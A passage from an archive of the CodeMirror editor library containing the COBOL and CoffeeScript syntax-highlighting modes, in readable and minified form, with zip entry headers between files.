      "COMP-7 COMP-8 COMP-9 COMPUTATIONAL COMPUTATIONAL-0 " +
      "COMPUTATIONAL-1 COMPUTATIONAL-2 COMPUTATIONAL-3 COMPUTATIONAL-4
COMPUTATIONAL-5 " +
      "COMPUTATIONAL-6 COMPUTATIONAL-7 COMPUTATIONAL-8 COMPUTATIONAL-9
COMPUTE " +
      "CONFIGURATION CONNECT CONSOLE CONTAINED CONTAINS " +
      "CONTENT CONTINUE CONTROL CONTROL-AREA CONTROLS " +
      "CONVERTING COPY CORR CORRESPONDING COUNT " +
      "CRT CRT-UNDER CURRENCY CURRENT CURSOR " +
      "DATA DATE DATE-COMPILED DATE-WRITTEN DAY " +
      "DAY-OF-WEEK DB DB-ACCESS-CONTROL-KEY DB-DATA-NAME DB-EXCEPTION
" +
      "DB-FORMAT-NAME DB-RECORD-NAME DB-SET-NAME DB-STATUS DBCS "
+
      "DBCS-EDITED DE DEBUG-CONTENTS DEBUG-ITEM DEBUG-LINE " +
      "DEBUG-NAME DEBUG-SUB-1 DEBUG-SUB-2 DEBUG-SUB-3 DEBUGGING "
+
      "DECIMAL-POINT DECLARATIVES DEFAULT DELETE DELIMITED " +
      "DELIMITER DEPENDING DESCENDING DESCRIBED DESTINATION " +
      "DETAIL DISABLE DISCONNECT DISPLAY DISPLAY-1 " +
      "DISPLAY-2 DISPLAY-3 DISPLAY-4 DISPLAY-5 DISPLAY-6 " +
      "DISPLAY-7 DISPLAY-8 DISPLAY-9 DIVIDE DIVISION " +
      "DOWN DROP DUPLICATE DUPLICATES DYNAMIC " +
      "EBCDIC EGI EJECT ELSE EMI " +
      "EMPTY EMPTY-CHECK ENABLE END END. END-ACCEPT END-ACCEPT. "
+
      "END-ADD END-CALL END-COMPUTE END-DELETE END-DISPLAY " +
      "END-DIVIDE END-EVALUATE END-IF END-INVOKE END-MULTIPLY " +
      "END-OF-PAGE END-PERFORM END-READ END-RECEIVE END-RETURN "
+
      "END-REWRITE END-SEARCH END-START END-STRING END-SUBTRACT "
+
      "END-UNSTRING END-WRITE END-XML ENTER ENTRY " +
      "ENVIRONMENT EOP EQUAL EQUALS ERASE " +
      "ERROR ESI EVALUATE EVERY EXCEEDS " +
      "EXCEPTION EXCLUSIVE EXIT EXTEND EXTERNAL " +
      "EXTERNALLY-DESCRIBED-KEY FD FETCH FILE FILE-CONTROL " +
      "FILE-STREAM FILES FILLER FINAL FIND " +
      "FINISH FIRST FOOTING FOR FOREGROUND-COLOR " +
      "FOREGROUND-COLOUR FORMAT FREE FROM FULL " +
      "FUNCTION GENERATE GET GIVING GLOBAL " +
      "GO GOBACK GREATER GROUP HEADING " +
      "HIGH-VALUE HIGH-VALUES HIGHLIGHT I-O I-O-CONTROL " +
      "ID IDENTIFICATION IF IN INDEX " +
      "INDEX-1 INDEX-2 INDEX-3 INDEX-4 INDEX-5 " +
      "INDEX-6 INDEX-7 INDEX-8 INDEX-9 INDEXED " +
      "INDIC INDICATE INDICATOR INDICATORS INITIAL " +
      "INITIALIZE INITIATE INPUT INPUT-OUTPUT INSPECT " +
      "INSTALLATION INTO INVALID INVOKE IS " +
      "JUST JUSTIFIED KANJI KEEP KEY " +
      "LABEL LAST LD LEADING LEFT " +
      "LEFT-JUSTIFY LENGTH LENGTH-CHECK LESS LIBRARY " +
      "LIKE LIMIT LIMITS LINAGE LINAGE-COUNTER " +
      "LINE LINE-COUNTER LINES LINKAGE LOCAL-STORAGE " +
      "LOCALE LOCALLY LOCK " +
      "MEMBER MEMORY MERGE MESSAGE METACLASS " +
      "MODE MODIFIED MODIFY MODULES MOVE " +
      "MULTIPLE MULTIPLY NATIONAL NATIVE NEGATIVE " +
      "NEXT NO NO-ECHO NONE NOT " +
      "NULL NULL-KEY-MAP NULL-MAP NULLS NUMBER " +
      "NUMERIC NUMERIC-EDITED OBJECT OBJECT-COMPUTER OCCURS " +
      "OF OFF OMITTED ON ONLY " +
      "OPEN OPTIONAL OR ORDER ORGANIZATION " +
      "OTHER OUTPUT OVERFLOW OWNER PACKED-DECIMAL " +
      "PADDING PAGE PAGE-COUNTER PARSE PERFORM " +
      "PF PH PIC PICTURE PLUS " +
      "POINTER POSITION POSITIVE PREFIX PRESENT " +
      "PRINTING PRIOR PROCEDURE PROCEDURE-POINTER PROCEDURES " +
      "PROCEED PROCESS PROCESSING PROGRAM PROGRAM-ID " +
      "PROMPT PROTECTED PURGE QUEUE QUOTE " +
      "QUOTES RANDOM RD READ READY " +
      "REALM RECEIVE RECONNECT RECORD RECORD-NAME " +
      "RECORDS RECURSIVE REDEFINES REEL REFERENCE " +
      "REFERENCE-MONITOR REFERENCES RELATION RELATIVE RELEASE " +
      "REMAINDER REMOVAL RENAMES REPEATED REPLACE " +
      "REPLACING REPORT REPORTING REPORTS REPOSITORY " +
      "REQUIRED RERUN RESERVE RESET RETAINING " +
      "RETRIEVAL RETURN RETURN-CODE RETURNING REVERSE-VIDEO " +
      "REVERSED REWIND REWRITE RF RH " +
      "RIGHT RIGHT-JUSTIFY ROLLBACK ROLLING ROUNDED " +
      "RUN SAME SCREEN SD SEARCH " +
      "SECTION SECURE SECURITY SEGMENT SEGMENT-LIMIT " +
      "SELECT SEND SENTENCE SEPARATE SEQUENCE " +
      "SEQUENTIAL SET SHARED SIGN SIZE " +
      "SKIP1 SKIP2 SKIP3 SORT SORT-MERGE " +
      "SORT-RETURN SOURCE SOURCE-COMPUTER SPACE-FILL " +
      "SPECIAL-NAMES STANDARD STANDARD-1 STANDARD-2 " +
      "START STARTING STATUS STOP STORE " +
      "STRING SUB-QUEUE-1 SUB-QUEUE-2 SUB-QUEUE-3 SUB-SCHEMA " +
      "SUBFILE SUBSTITUTE SUBTRACT SUM SUPPRESS " +
      "SYMBOLIC SYNC SYNCHRONIZED SYSIN SYSOUT " +
      "TABLE TALLYING TAPE TENANT TERMINAL " +
      "TERMINATE TEST TEXT THAN THEN " +
      "THROUGH THRU TIME TIMES TITLE " +
      "TO TOP TRAILING TRAILING-SIGN TRANSACTION " +
      "TYPE TYPEDEF UNDERLINE UNEQUAL UNIT " +
      "UNSTRING UNTIL UP UPDATE UPON " +
      "USAGE USAGE-MODE USE USING VALID " +
      "VALIDATE VALUE VALUES VARYING VLR " +
      "WAIT WHEN WHEN-COMPILED WITH WITHIN " +
      "WORDS WORKING-STORAGE WRITE XML XML-CODE " +
      "XML-EVENT XML-NTEXT XML-TEXT ZERO ZERO-FILL " );

  var builtins = makeKeywords("- * ** / + < <= = > >=
");
  var tests = {
    digit: /\d/,
    digit_or_colon: /[\d:]/,
    hex: /[0-9a-f]/i,
    sign: /[+-]/,
    exponent: /e/i,
    keyword_char: /[^\s\(\[\;\)\]]/,
    symbol: /[\w*+\-]/
  };
  function isNumber(ch, stream){
    // hex
    if ( ch === '0' && stream.eat(/x/i) ) {
      stream.eatWhile(tests.hex);
      return true;
    }
    // leading sign
    if ( ( ch == '+' || ch == '-' ) && (
tests.digit.test(stream.peek()) ) ) {
      stream.eat(tests.sign);
      ch = stream.next();
    }
    if ( tests.digit.test(ch) ) {
      stream.eat(ch);
      stream.eatWhile(tests.digit);
      if ( '.' == stream.peek()) {
        stream.eat('.');
        stream.eatWhile(tests.digit);
      }
      if ( stream.eat(tests.exponent) ) {
        stream.eat(tests.sign);
        stream.eatWhile(tests.digit);
      }
      return true;
    }
    return false;
  }
  return {
    startState: function () {
      return {
        indentStack: null,
        indentation: 0,
        mode: false
      };
    },
    token: function (stream, state) {
      if (state.indentStack == null && stream.sol()) {
        // update indentation, but only if indentStack is empty
        state.indentation = 6 ; //stream.indentation();
      }
      // skip spaces
      if (stream.eatSpace()) {
        return null;
      }
      var returnType = null;
      switch(state.mode){
      case "string": // multi-line string parsing mode
        var next = false;
        while ((next = stream.next()) != null) {
          if (next == "\"" || next == "\'") {
            state.mode = false;
            break;
          }
        }
        returnType = STRING; // continue on in string mode
        break;
      default: // default parsing mode
        var ch = stream.next();
        var col = stream.column();
        if (col >= 0 && col <= 5) {
          returnType = COBOLLINENUM;
        } else if (col >= 72 && col <= 79) {
          stream.skipToEnd();
          returnType = MODTAG;
        } else if (ch == "*" && col == 6) { // comment
          stream.skipToEnd(); // rest of the line is a comment
          returnType = COMMENT;
        } else if (ch == "\"" || ch == "\'")
{
          state.mode = "string";
          returnType = STRING;
        } else if (ch == "'" && !(
tests.digit_or_colon.test(stream.peek()) )) {
          returnType = ATOM;
        } else if (ch == ".") {
          returnType = PERIOD;
        } else if (isNumber(ch,stream)){
          returnType = NUMBER;
        } else {
          if (stream.current().match(tests.symbol)) {
            while (col < 71) {
              if (stream.eat(tests.symbol) === undefined) {
                break;
              } else {
                col++;
              }
            }
          }
          if (keywords &&
keywords.propertyIsEnumerable(stream.current().toUpperCase())) {
            returnType = KEYWORD;
          } else if (builtins &&
builtins.propertyIsEnumerable(stream.current().toUpperCase())) {
            returnType = BUILTIN;
          } else if (atoms &&
atoms.propertyIsEnumerable(stream.current().toUpperCase())) {
            returnType = ATOM;
          } else returnType = null;
        }
      }
      return returnType;
    },
    indent: function (state) {
      if (state.indentStack == null) return state.indentation;
      return state.indentStack.indent;
    }
  };
});

CodeMirror.defineMIME("text/x-cobol", "cobol");

});
PKE��[��"codemirror/mode/cobol/cobol.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("cobol",(function(){function
a(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function
b(a,b){return"0"===a&&b.eat(/x/i)?(b.eatWhile(f.hex),!0):("+"!=a&&"-"!=a||!f.digit.test(b.peek())||(b.eat(f.sign),a=b.next()),!!f.digit.test(a)&&(b.eat(a),b.eatWhile(f.digit),"."==b.peek()&&(b.eat("."),b.eatWhile(f.digit)),b.eat(f.exponent)&&(b.eat(f.sign),b.eatWhile(f.digit)),!0))}var
c=a("TRUE FALSE ZEROES ZEROS ZERO SPACES SPACE LOW-VALUE LOW-VALUES
"),d=a("ACCEPT ACCESS ACQUIRE ADD ADDRESS ADVANCING AFTER ALIAS
ALL ALPHABET ALPHABETIC ALPHABETIC-LOWER ALPHABETIC-UPPER ALPHANUMERIC
ALPHANUMERIC-EDITED ALSO ALTER ALTERNATE AND ANY ARE AREA AREAS ARITHMETIC
ASCENDING ASSIGN AT ATTRIBUTE AUTHOR AUTO AUTO-SKIP AUTOMATIC B-AND B-EXOR
B-LESS B-NOT B-OR BACKGROUND-COLOR BACKGROUND-COLOUR BEEP BEFORE BELL
BINARY BIT BITS BLANK BLINK BLOCK BOOLEAN BOTTOM BY CALL CANCEL CD CF CH
CHARACTER CHARACTERS CLASS CLOCK-UNITS CLOSE COBOL CODE CODE-SET COL
COLLATING COLUMN COMMA COMMIT COMMITMENT COMMON COMMUNICATION COMP COMP-0
COMP-1 COMP-2 COMP-3 COMP-4 COMP-5 COMP-6 COMP-7 COMP-8 COMP-9
COMPUTATIONAL COMPUTATIONAL-0 COMPUTATIONAL-1 COMPUTATIONAL-2
COMPUTATIONAL-3 COMPUTATIONAL-4 COMPUTATIONAL-5 COMPUTATIONAL-6
COMPUTATIONAL-7 COMPUTATIONAL-8 COMPUTATIONAL-9 COMPUTE CONFIGURATION
CONNECT CONSOLE CONTAINED CONTAINS CONTENT CONTINUE CONTROL CONTROL-AREA
CONTROLS CONVERTING COPY CORR CORRESPONDING COUNT CRT CRT-UNDER CURRENCY
CURRENT CURSOR DATA DATE DATE-COMPILED DATE-WRITTEN DAY DAY-OF-WEEK DB
DB-ACCESS-CONTROL-KEY DB-DATA-NAME DB-EXCEPTION DB-FORMAT-NAME
DB-RECORD-NAME DB-SET-NAME DB-STATUS DBCS DBCS-EDITED DE DEBUG-CONTENTS
DEBUG-ITEM DEBUG-LINE DEBUG-NAME DEBUG-SUB-1 DEBUG-SUB-2 DEBUG-SUB-3
DEBUGGING DECIMAL-POINT DECLARATIVES DEFAULT DELETE DELIMITED DELIMITER
DEPENDING DESCENDING DESCRIBED DESTINATION DETAIL DISABLE DISCONNECT
DISPLAY DISPLAY-1 DISPLAY-2 DISPLAY-3 DISPLAY-4 DISPLAY-5 DISPLAY-6
DISPLAY-7 DISPLAY-8 DISPLAY-9 DIVIDE DIVISION DOWN DROP DUPLICATE
DUPLICATES DYNAMIC EBCDIC EGI EJECT ELSE EMI EMPTY EMPTY-CHECK ENABLE END
END. END-ACCEPT END-ACCEPT. END-ADD END-CALL END-COMPUTE END-DELETE
END-DISPLAY END-DIVIDE END-EVALUATE END-IF END-INVOKE END-MULTIPLY
END-OF-PAGE END-PERFORM END-READ END-RECEIVE END-RETURN END-REWRITE
END-SEARCH END-START END-STRING END-SUBTRACT END-UNSTRING END-WRITE END-XML
ENTER ENTRY ENVIRONMENT EOP EQUAL EQUALS ERASE ERROR ESI EVALUATE EVERY
EXCEEDS EXCEPTION EXCLUSIVE EXIT EXTEND EXTERNAL EXTERNALLY-DESCRIBED-KEY
FD FETCH FILE FILE-CONTROL FILE-STREAM FILES FILLER FINAL FIND FINISH FIRST
FOOTING FOR FOREGROUND-COLOR FOREGROUND-COLOUR FORMAT FREE FROM FULL
FUNCTION GENERATE GET GIVING GLOBAL GO GOBACK GREATER GROUP HEADING
HIGH-VALUE HIGH-VALUES HIGHLIGHT I-O I-O-CONTROL ID IDENTIFICATION IF IN
INDEX INDEX-1 INDEX-2 INDEX-3 INDEX-4 INDEX-5 INDEX-6 INDEX-7 INDEX-8
INDEX-9 INDEXED INDIC INDICATE INDICATOR INDICATORS INITIAL INITIALIZE
INITIATE INPUT INPUT-OUTPUT INSPECT INSTALLATION INTO INVALID INVOKE IS
JUST JUSTIFIED KANJI KEEP KEY LABEL LAST LD LEADING LEFT LEFT-JUSTIFY
LENGTH LENGTH-CHECK LESS LIBRARY LIKE LIMIT LIMITS LINAGE LINAGE-COUNTER
LINE LINE-COUNTER LINES LINKAGE LOCAL-STORAGE LOCALE LOCALLY LOCK MEMBER
MEMORY MERGE MESSAGE METACLASS MODE MODIFIED MODIFY MODULES MOVE MULTIPLE
MULTIPLY NATIONAL NATIVE NEGATIVE NEXT NO NO-ECHO NONE NOT NULL
NULL-KEY-MAP NULL-MAP NULLS NUMBER NUMERIC NUMERIC-EDITED OBJECT
OBJECT-COMPUTER OCCURS OF OFF OMITTED ON ONLY OPEN OPTIONAL OR ORDER
ORGANIZATION OTHER OUTPUT OVERFLOW OWNER PACKED-DECIMAL PADDING PAGE
PAGE-COUNTER PARSE PERFORM PF PH PIC PICTURE PLUS POINTER POSITION POSITIVE
PREFIX PRESENT PRINTING PRIOR PROCEDURE PROCEDURE-POINTER PROCEDURES
PROCEED PROCESS PROCESSING PROGRAM PROGRAM-ID PROMPT PROTECTED PURGE QUEUE
QUOTE QUOTES RANDOM RD READ READY REALM RECEIVE RECONNECT RECORD
RECORD-NAME RECORDS RECURSIVE REDEFINES REEL REFERENCE REFERENCE-MONITOR
REFERENCES RELATION RELATIVE RELEASE REMAINDER REMOVAL RENAMES REPEATED
REPLACE REPLACING REPORT REPORTING REPORTS REPOSITORY REQUIRED RERUN
RESERVE RESET RETAINING RETRIEVAL RETURN RETURN-CODE RETURNING
REVERSE-VIDEO REVERSED REWIND REWRITE RF RH RIGHT RIGHT-JUSTIFY ROLLBACK
ROLLING ROUNDED RUN SAME SCREEN SD SEARCH SECTION SECURE SECURITY SEGMENT
SEGMENT-LIMIT SELECT SEND SENTENCE SEPARATE SEQUENCE SEQUENTIAL SET SHARED
SIGN SIZE SKIP1 SKIP2 SKIP3 SORT SORT-MERGE SORT-RETURN SOURCE
SOURCE-COMPUTER SPACE-FILL SPECIAL-NAMES STANDARD STANDARD-1 STANDARD-2
START STARTING STATUS STOP STORE STRING SUB-QUEUE-1 SUB-QUEUE-2 SUB-QUEUE-3
SUB-SCHEMA SUBFILE SUBSTITUTE SUBTRACT SUM SUPPRESS SYMBOLIC SYNC
SYNCHRONIZED SYSIN SYSOUT TABLE TALLYING TAPE TENANT TERMINAL TERMINATE
TEST TEXT THAN THEN THROUGH THRU TIME TIMES TITLE TO TOP TRAILING
TRAILING-SIGN TRANSACTION TYPE TYPEDEF UNDERLINE UNEQUAL UNIT UNSTRING
UNTIL UP UPDATE UPON USAGE USAGE-MODE USE USING VALID VALIDATE VALUE VALUES
VARYING VLR WAIT WHEN WHEN-COMPILED WITH WITHIN WORDS WORKING-STORAGE WRITE
XML XML-CODE XML-EVENT XML-NTEXT XML-TEXT ZERO ZERO-FILL
"),e=a("- * ** / + < <= = > >=
"),f={digit:/\d/,digit_or_colon:/[\d:]/,hex:/[0-9a-f]/i,sign:/[+-]/,exponent:/e/i,keyword_char:/[^\s\(\[\;\)\]]/,symbol:/[\w*+\-]/};return{startState:function(){return{indentStack:null,indentation:0,mode:!1}},token:function(a,g){if(null==g.indentStack&&a.sol()&&(g.indentation=6),a.eatSpace())return
null;var h=null;switch(g.mode){case"string":for(var
i=!1;null!=(i=a.next());)if('"'==i||"'"==i){g.mode=!1;break}h="string";break;default:var
j=a.next(),k=a.column();if(k>=0&&k<=5)h="def";else
if(k>=72&&k<=79)a.skipToEnd(),h="header";else
if("*"==j&&6==k)a.skipToEnd(),h="comment";else
if('"'==j||"'"==j)g.mode="string",h="string";else
if("'"!=j||f.digit_or_colon.test(a.peek()))if("."==j)h="link";else
if(b(j,a))h="number";else{if(a.current().match(f.symbol))for(;k<71&&void
0!==a.eat(f.symbol);)k++;h=d&&d.propertyIsEnumerable(a.current().toUpperCase())?"keyword":e&&e.propertyIsEnumerable(a.current().toUpperCase())?"builtin":c&&c.propertyIsEnumerable(a.current().toUpperCase())?"atom":null}else
h="atom"}return h},indent:function(a){return
null==a.indentStack?a.indentation:a.indentStack.indent}}})),a.defineMIME("text/x-cobol","cobol")}));PKE��[l4'4',codemirror/mode/coffeescript/coffeescript.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Link to the project's GitHub page:
 * https://github.com/pickhardt/coffeescript-codemirror-mode
 */
(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("coffeescript", function(conf, parserConf)
{
  var ERRORCLASS = "error";

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") +
"))\\b");
  }

  var operators =
/^(?:->|=>|\+[+=]?|-[\-=]?|\*[\*=]?|\/[\/=]?|[=!]=|<[><]?=?|>>?=?|%=?|&=?|\|=?|\^=?|\~|!|\?|(or|and|\|\||&&|\?)=)/;
  var delimiters = /^(?:[()\[\]{},:`=;]|\.\.?\.?)/;
  var identifiers = /^[_A-Za-z$][_A-Za-z$0-9]*/;
  var atProp = /^@[_A-Za-z$][_A-Za-z$0-9]*/;

  var wordOperators = wordRegexp(["and", "or",
"not",
                                  "is", "isnt",
"in",
                                  "instanceof",
"typeof"]);
  var indentKeywords = ["for", "while",
"loop", "if", "unless", "else",
                        "switch", "try",
"catch", "finally", "class"];
  var commonKeywords = ["break", "by",
"continue", "debugger", "delete",
                        "do", "in", "of",
"new", "return", "then",
                        "this", "@", "throw",
"when", "until", "extends"];

  var keywords = wordRegexp(indentKeywords.concat(commonKeywords));

  indentKeywords = wordRegexp(indentKeywords);


  var stringPrefixes = /^('{3}|\"{3}|['\"])/;
  var regexPrefixes = /^(\/{3}|\/)/;
  var commonConstants = ["Infinity", "NaN",
"undefined", "null", "true",
"false", "on", "off", "yes",
"no"];
  var constants = wordRegexp(commonConstants);

  // Tokenizers
  function tokenBase(stream, state) {
    // Handle scope changes
    if (stream.sol()) {
      if (state.scope.align === null) state.scope.align = false;
      var scopeOffset = state.scope.offset;
      if (stream.eatSpace()) {
        var lineOffset = stream.indentation();
        if (lineOffset > scopeOffset && state.scope.type ==
"coffee") {
          return "indent";
        } else if (lineOffset < scopeOffset) {
          return "dedent";
        }
        return null;
      } else {
        if (scopeOffset > 0) {
          dedent(stream, state);
        }
      }
    }
    if (stream.eatSpace()) {
      return null;
    }

    var ch = stream.peek();

    // Handle docco title comment (single line)
    if (stream.match("####")) {
      stream.skipToEnd();
      return "comment";
    }

    // Handle multi line comments
    if (stream.match("###")) {
      state.tokenize = longComment;
      return state.tokenize(stream, state);
    }

    // Single line comment
    if (ch === "#") {
      stream.skipToEnd();
      return "comment";
    }

    // Handle number literals
    if (stream.match(/^-?[0-9\.]/, false)) {
      var floatLiteral = false;
      // Floats
      if (stream.match(/^-?\d*\.\d+(e[\+\-]?\d+)?/i)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\d+\.\d*/)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\.\d+/)) {
        floatLiteral = true;
      }

      if (floatLiteral) {
        // prevent from getting extra . on 1..
        if (stream.peek() == "."){
          stream.backUp(1);
        }
        return "number";
      }
      // Integers
      var intLiteral = false;
      // Hex
      if (stream.match(/^-?0x[0-9a-f]+/i)) {
        intLiteral = true;
      }
      // Decimal
      if (stream.match(/^-?[1-9]\d*(e[\+\-]?\d+)?/)) {
        intLiteral = true;
      }
      // Zero by itself with no other piece of number.
      if (stream.match(/^-?0(?![\dx])/i)) {
        intLiteral = true;
      }
      if (intLiteral) {
        return "number";
      }
    }

    // Handle strings
    if (stream.match(stringPrefixes)) {
      state.tokenize = tokenFactory(stream.current(), false,
"string");
      return state.tokenize(stream, state);
    }
    // Handle regex literals
    if (stream.match(regexPrefixes)) {
      if (stream.current() != "/" || stream.match(/^.*\//,
false)) { // prevent highlight of division
        state.tokenize = tokenFactory(stream.current(), true,
"string-2");
        return state.tokenize(stream, state);
      } else {
        stream.backUp(1);
      }
    }



    // Handle operators and delimiters
    if (stream.match(operators) || stream.match(wordOperators)) {
      return "operator";
    }
    if (stream.match(delimiters)) {
      return "punctuation";
    }

    if (stream.match(constants)) {
      return "atom";
    }

    if (stream.match(atProp) || state.prop &&
stream.match(identifiers)) {
      return "property";
    }

    if (stream.match(keywords)) {
      return "keyword";
    }

    if (stream.match(identifiers)) {
      return "variable";
    }

    // Handle non-detected items
    stream.next();
    return ERRORCLASS;
  }

  function tokenFactory(delimiter, singleline, outclass) {
    return function(stream, state) {
      while (!stream.eol()) {
        stream.eatWhile(/[^'"\/\\]/);
        if (stream.eat("\\")) {
          stream.next();
          if (singleline && stream.eol()) {
            return outclass;
          }
        } else if (stream.match(delimiter)) {
          state.tokenize = tokenBase;
          return outclass;
        } else {
          stream.eat(/['"\/]/);
        }
      }
      if (singleline) {
        if (parserConf.singleLineStringErrors) {
          outclass = ERRORCLASS;
        } else {
          state.tokenize = tokenBase;
        }
      }
      return outclass;
    };
  }

  function longComment(stream, state) {
    while (!stream.eol()) {
      stream.eatWhile(/[^#]/);
      if (stream.match("###")) {
        state.tokenize = tokenBase;
        break;
      }
      stream.eatWhile("#");
    }
    return "comment";
  }

  function indent(stream, state, type) {
    type = type || "coffee";
    var offset = 0, align = false, alignOffset = null;
    for (var scope = state.scope; scope; scope = scope.prev) {
      if (scope.type === "coffee" || scope.type == "}")
{
        offset = scope.offset + conf.indentUnit;
        break;
      }
    }
    if (type !== "coffee") {
      align = null;
      alignOffset = stream.column() + stream.current().length;
    } else if (state.scope.align) {
      state.scope.align = false;
    }
    state.scope = {
      offset: offset,
      type: type,
      prev: state.scope,
      align: align,
      alignOffset: alignOffset
    };
  }

  function dedent(stream, state) {
    if (!state.scope.prev) return;
    if (state.scope.type === "coffee") {
      var _indent = stream.indentation();
      var matched = false;
      for (var scope = state.scope; scope; scope = scope.prev) {
        if (_indent === scope.offset) {
          matched = true;
          break;
        }
      }
      if (!matched) {
        return true;
      }
      while (state.scope.prev && state.scope.offset !== _indent) {
        state.scope = state.scope.prev;
      }
      return false;
    } else {
      state.scope = state.scope.prev;
      return false;
    }
  }

  function tokenLexer(stream, state) {
    var style = state.tokenize(stream, state);
    var current = stream.current();

    // Handle scope changes.
    if (current === "return") {
      state.dedent = true;
    }
    if (((current === "->" || current === "=>")
&& stream.eol())
        || style === "indent") {
      indent(stream, state);
    }
    var delimiter_index = "[({".indexOf(current);
    if (delimiter_index !== -1) {
      indent(stream, state, "])}".slice(delimiter_index,
delimiter_index+1));
    }
    if (indentKeywords.exec(current)){
      indent(stream, state);
    }
    if (current == "then"){
      dedent(stream, state);
    }


    if (style === "dedent") {
      if (dedent(stream, state)) {
        return ERRORCLASS;
      }
    }
    delimiter_index = "])}".indexOf(current);
    if (delimiter_index !== -1) {
      while (state.scope.type == "coffee" &&
state.scope.prev)
        state.scope = state.scope.prev;
      if (state.scope.type == current)
        state.scope = state.scope.prev;
    }
    if (state.dedent && stream.eol()) {
      if (state.scope.type == "coffee" &&
state.scope.prev)
        state.scope = state.scope.prev;
      state.dedent = false;
    }

    return style;
  }

  var external = {
    startState: function(basecolumn) {
      return {
        tokenize: tokenBase,
        scope: {offset:basecolumn || 0, type:"coffee", prev:
null, align: false},
        prop: false,
        dedent: 0
      };
    },

    token: function(stream, state) {
      var fillAlign = state.scope.align === null && state.scope;
      if (fillAlign && stream.sol()) fillAlign.align = false;

      var style = tokenLexer(stream, state);
      if (style && style != "comment") {
        if (fillAlign) fillAlign.align = true;
        state.prop = style == "punctuation" &&
stream.current() == "."
      }

      return style;
    },

    indent: function(state, text) {
      if (state.tokenize != tokenBase) return 0;
      var scope = state.scope;
      var closer = text && "])}".indexOf(text.charAt(0))
> -1;
      if (closer) while (scope.type == "coffee" &&
scope.prev) scope = scope.prev;
      var closes = closer && scope.type === text.charAt(0);
      if (scope.align)
        return scope.alignOffset - (closes ? 1 : 0);
      else
        return (closes ? scope.prev : scope).offset;
    },

    lineComment: "#",
    fold: "indent"
  };
  return external;
});

// IANA registered media type
// https://www.iana.org/assignments/media-types/
CodeMirror.defineMIME("application/vnd.coffeescript",
"coffeescript");

CodeMirror.defineMIME("text/x-coffeescript",
"coffeescript");
CodeMirror.defineMIME("text/coffeescript",
"coffeescript");

});
PKE��[�N�@}}0codemirror/mode/coffeescript/coffeescript.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("coffeescript",(function(a,b){function
c(a){return new
RegExp("^(("+a.join(")|(")+"))\\b")}function
d(a,b){if(a.sol()){null===b.scope.align&&(b.scope.align=!1);var
c=b.scope.offset;if(a.eatSpace()){var d=a.indentation();return
d>c&&"coffee"==b.scope.type?"indent":d<c?"dedent":null}c>0&&h(a,b)}if(a.eatSpace())return
null;var g=a.peek();if(a.match("####"))return
a.skipToEnd(),"comment";if(a.match("###"))return
b.tokenize=f,b.tokenize(a,b);if("#"===g)return
a.skipToEnd(),"comment";if(a.match(/^-?[0-9\.]/,!1)){var
i=!1;if(a.match(/^-?\d*\.\d+(e[\+\-]?\d+)?/i)&&(i=!0),a.match(/^-?\d+\.\d*/)&&(i=!0),a.match(/^-?\.\d+/)&&(i=!0),i)return"."==a.peek()&&a.backUp(1),"number";var
p=!1;if(a.match(/^-?0x[0-9a-f]+/i)&&(p=!0),a.match(/^-?[1-9]\d*(e[\+\-]?\d+)?/)&&(p=!0),a.match(/^-?0(?![\dx])/i)&&(p=!0),p)return"number"}if(a.match(s))return
b.tokenize=e(a.current(),!1,"string"),b.tokenize(a,b);if(a.match(t)){if("/"!=a.current()||a.match(/^.*\//,!1))return
b.tokenize=e(a.current(),!0,"string-2"),b.tokenize(a,b);a.backUp(1)}return
a.match(k)||a.match(o)?"operator":a.match(l)?"punctuation":a.match(v)?"atom":a.match(n)||b.prop&&a.match(m)?"property":a.match(r)?"keyword":a.match(m)?"variable":(a.next(),j)}function
e(a,c,e){return
function(f,g){for(;!f.eol();)if(f.eatWhile(/[^'"\/\\]/),f.eat("\\")){if(f.next(),c&&f.eol())return
e}else{if(f.match(a))return g.tokenize=d,e;f.eat(/['"\/]/)}return
c&&(b.singleLineStringErrors?e=j:g.tokenize=d),e}}function
f(a,b){for(;!a.eol();){if(a.eatWhile(/[^#]/),a.match("###")){b.tokenize=d;break}a.eatWhile("#")}return"comment"}function
g(b,c,d){d=d||"coffee";for(var
e=0,f=!1,g=null,h=c.scope;h;h=h.prev)if("coffee"===h.type||"}"==h.type){e=h.offset+a.indentUnit;break}"coffee"!==d?(f=null,g=b.column()+b.current().length):c.scope.align&&(c.scope.align=!1),c.scope={offset:e,type:d,prev:c.scope,align:f,alignOffset:g}}function
h(a,b){if(b.scope.prev){if("coffee"===b.scope.type){for(var
c=a.indentation(),d=!1,e=b.scope;e;e=e.prev)if(c===e.offset){d=!0;break}if(!d)return!0;for(;b.scope.prev&&b.scope.offset!==c;)b.scope=b.scope.prev;return!1}return
b.scope=b.scope.prev,!1}}function i(a,b){var
c=b.tokenize(a,b),d=a.current();"return"===d&&(b.dedent=!0),(("->"===d||"=>"===d)&&a.eol()||"indent"===c)&&g(a,b);var
e="[({".indexOf(d);if(-1!==e&&g(a,b,"])}".slice(e,e+1)),p.exec(d)&&g(a,b),"then"==d&&h(a,b),"dedent"===c&&h(a,b))return
j;if(-1!==(e="])}".indexOf(d))){for(;"coffee"==b.scope.type&&b.scope.prev;)b.scope=b.scope.prev;b.scope.type==d&&(b.scope=b.scope.prev)}return
b.dedent&&a.eol()&&("coffee"==b.scope.type&&b.scope.prev&&(b.scope=b.scope.prev),b.dedent=!1),c}var
